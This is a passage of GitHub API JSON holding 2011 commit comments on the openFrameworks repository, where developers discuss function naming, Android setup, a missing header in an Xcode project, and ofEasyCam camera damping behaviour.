vs2010"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/273184","html_url":"https://github.com/openframeworks/openFrameworks/commit/b9197b811f16cf0ee1c1f7ffe0eff3938a834dea#commitcomment-273184","id":273184,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"b9197b811f16cf0ee1c1f7ffe0eff3938a834dea","created_at":"2011-02-16T11:22:56Z","updated_at":"2011-02-16T11:22:56Z","body":"Can we possibly rename ofRandomize, ofShuffle or ofRandomizeOrder ? I think it would be good to be more accurate in terms of what it's doing -- rearranging order. random makes me think it's picking random values. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/273308","html_url":"https://github.com/openframeworks/openFrameworks/commit/b9197b811f16cf0ee1c1f7ffe0eff3938a834dea#commitcomment-273308","id":273308,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"b9197b811f16cf0ee1c1f7ffe0eff3938a834dea","created_at":"2011-02-16T14:03:48Z","updated_at":"2011-02-16T14:03:48Z","body":"ofRandomShuffle :) ?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/286104","html_url":"https://github.com/openframeworks/openFrameworks/commit/7b8cf57e2486eea6c2763e6e109132398fc41cbe#commitcomment-286104","id":286104,"user":{"login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","html_url":"https://github.com/jonbro","followers_url":"https://api.github.com/users/jonbro/followers","following_url":"https://api.github.com/users/jonbro/following{/other_user}","gists_url":"https://api.github.com/users/jonbro/gists{/gist_id}","starred_url":"https://api.github.com/users/jonbro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jonbro/subscriptions","organizations_url":"https://api.github.com/users/jonbro/orgs","repos_url":"https://api.github.com/users/jonbro/repos","events_url":"https://api.github.com/users/jonbro/events{/privacy}","received_events_url":"https://api.github.com/users/jonbro/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7b8cf57e2486eea6c2763e6e109132398fc41cbe","created_at":"2011-02-28T17:38:35Z","updated_at":"2011-02-28T17:38:35Z","body":"is the ofxDsp stuff going to end up being an add on? that is fine with me, just as long as the core is compatible with it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/304581","html_url":"https://github.com/openframeworks/openFrameworks/commit/4019a90e403a2e30c1a2acde9d2177f9f065c8ae#commitcomment-304581","id":304581,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"4019a90e403a2e30c1a2acde9d2177f9f065c8ae","created_at":"2011-03-16T21:04:35Z","updated_at":"2011-03-16T21:04:35Z","body":"I had to do a silly change to poco h file (removing volatile keyword). We should check this is ok. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/331452","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-331452","id":331452,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-06T15:15:33Z","updated_at":"2011-04-06T15:15:33Z","body":"is this recommendation based on (feature) prerequisites of oF, or on the \"use current software\" adage? the version in the repo is one major release behind currently"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/331458","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-331458","id":331458,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-06T15:20:45Z","updated_at":"2011-04-06T15:20:45Z","body":"this is for the version in the repo, the android versions that i've been publishing are outdated now and the way of setting everything up has changed quite a bit"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/331487","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-331487","id":331487,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-06T15:33:44Z","updated_at":"2011-04-06T15:33:44Z","body":"clarification: with \"repo\" i meant the ubuntu repo (e.g. maverick-updates is at 3.5.2) \nsorry"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/331517","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-331517","id":331517,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-06T15:55:01Z","updated_at":"2011-04-06T15:55:01Z","body":"yes, the repository version is usually outdated and even if it's not right now it will install some plugins at the system level which from my experience can be problematic"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/331555","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-331555","id":331555,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-06T16:22:03Z","updated_at":"2011-04-06T16:22:03Z","body":"I see. btw, will there be eclipse projects for non-android oF examples/apps in 007?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/331855","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-331855","id":331855,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-06T20:28:06Z","updated_at":"2011-04-06T20:28:06Z","body":"theres a linux version of the project for the OF library which is already in the repo and it's really easy to import the examples using makefile projects but i don't plan to support it officially for 007"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/332436","html_url":"https://github.com/openframeworks/openFrameworks/commit/fb8fad30736df4c62e64f9547a1121351d801d1a#commitcomment-332436","id":332436,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":8,"line":8,"path":"readme.android","commit_id":"fb8fad30736df4c62e64f9547a1121351d801d1a","created_at":"2011-04-07T07:21:10Z","updated_at":"2011-04-07T07:21:10Z","body":"thanks for the info. i'll shut up now :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/358681","html_url":"https://github.com/openframeworks/openFrameworks/commit/8ccde5885f1c5359e9db69786a955d530f5d5aee#commitcomment-358681","id":358681,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8ccde5885f1c5359e9db69786a955d530f5d5aee","created_at":"2011-04-27T07:16:26Z","updated_at":"2011-04-27T07:16:26Z","body":"github needs a \"like\" button for stuff like this. :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/394955","html_url":"https://github.com/openframeworks/openFrameworks/commit/0d2a1b1621b03519f52000b37d2cb515901d1fce#commitcomment-394955","id":394955,"user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0d2a1b1621b03519f52000b37d2cb515901d1fce","created_at":"2011-05-23T13:08:24Z","updated_at":"2011-05-23T13:08:24Z","body":"think this is still a bug in iPhone+OF Lib.xcodeproj - still getting tesselator.h: No such file or directory..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/394969","html_url":"https://github.com/openframeworks/openFrameworks/commit/0d2a1b1621b03519f52000b37d2cb515901d1fce#commitcomment-394969","id":394969,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0d2a1b1621b03519f52000b37d2cb515901d1fce","created_at":"2011-05-23T13:24:24Z","updated_at":"2011-05-23T13:24:24Z","body":"mmh, yeah sure, i just updated the examples, will change it later\n\nOn 05/23/2011 03:08 PM, vanderlin wrote:\n> think this is still a bug in iPhone+OF Lib.xcodeproj - still getting tesselator.h: No such file or directory...\n>"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443200","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443200","id":443200,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T15:27:30Z","updated_at":"2011-06-22T15:27:30Z","body":"i'm crying. this is awful\r\nplease, please undo :'(!!!!\r\nit was lovely to control before, now it's like trying to control a balloon with a fan\r\nsome of us need to aim the camera quickly and accurately!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443205","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443205","id":443205,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T15:29:15Z","updated_at":"2011-06-22T15:29:15Z","body":"\"Everything should be made as simple as possible, but not simpler.\" :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443232","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443232","id":443232,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T15:41:20Z","updated_at":"2011-06-22T15:41:20Z","body":"if i remember correctly, when i made this change it did not change the behavior of ofEasyCam for me. i mean, it didn't feel any different.\r\n\r\nmaybe i wasn't testing in enough cases though?\r\n\r\nmy reference is still the easyCamExample. i wrote that to be as similar as possible to the PeasyCam demo. do you feel a difference between them?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443267","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443267","id":443267,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T15:49:15Z","updated_at":"2011-06-22T15:49:15Z","body":"in terms of designing a tool, i think this fails in current state\r\ni haven't used PeasyCam much so i'm not coming to the table expecting something, which most likely explains why we're tying to get different things out of this cam\r\n\r\ni'm generally setting drag to quite low and thrust quite high (as default values).\r\nso you get a 'pick up' whenever you start doing something\r\nalso the 'grab' dynamic is gone (where everything decellerates if you've got your mouse button pressed so you can stop it when it's in the right place)\r\n\r\ni think the 2 ideals are:\r\ncamera on the end of a damped spring (what i'm thinking of)\r\nballoon controlled with a fan (what it feels like now)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443273","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443273","id":443273,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T15:50:50Z","updated_at":"2011-06-22T15:50:50Z","body":"can we add it back in as an option? clearly it's a matter of personal preference... the code as it is now seems \"as simple as possible\" to me, but clearly for you it's missing some necessary functionality :)\r\n\r\nthe most helpful thing would be the addition of some kind of framerate independence, since that's the main bug people run into. (see // TODO: add dt)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443275","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443275","id":443275,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T15:51:02Z","updated_at":"2011-06-22T15:56:21Z","body":"anyway. perhaps i should spend more time with it.\r\nit's mentally annoying for me to use it in its current state, which explains my writing style :)\r\n(i.e. apologies for being so sharp!)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443292","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443292","id":443292,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T16:01:37Z","updated_at":"2011-06-22T16:01:37Z","body":"yep!\r\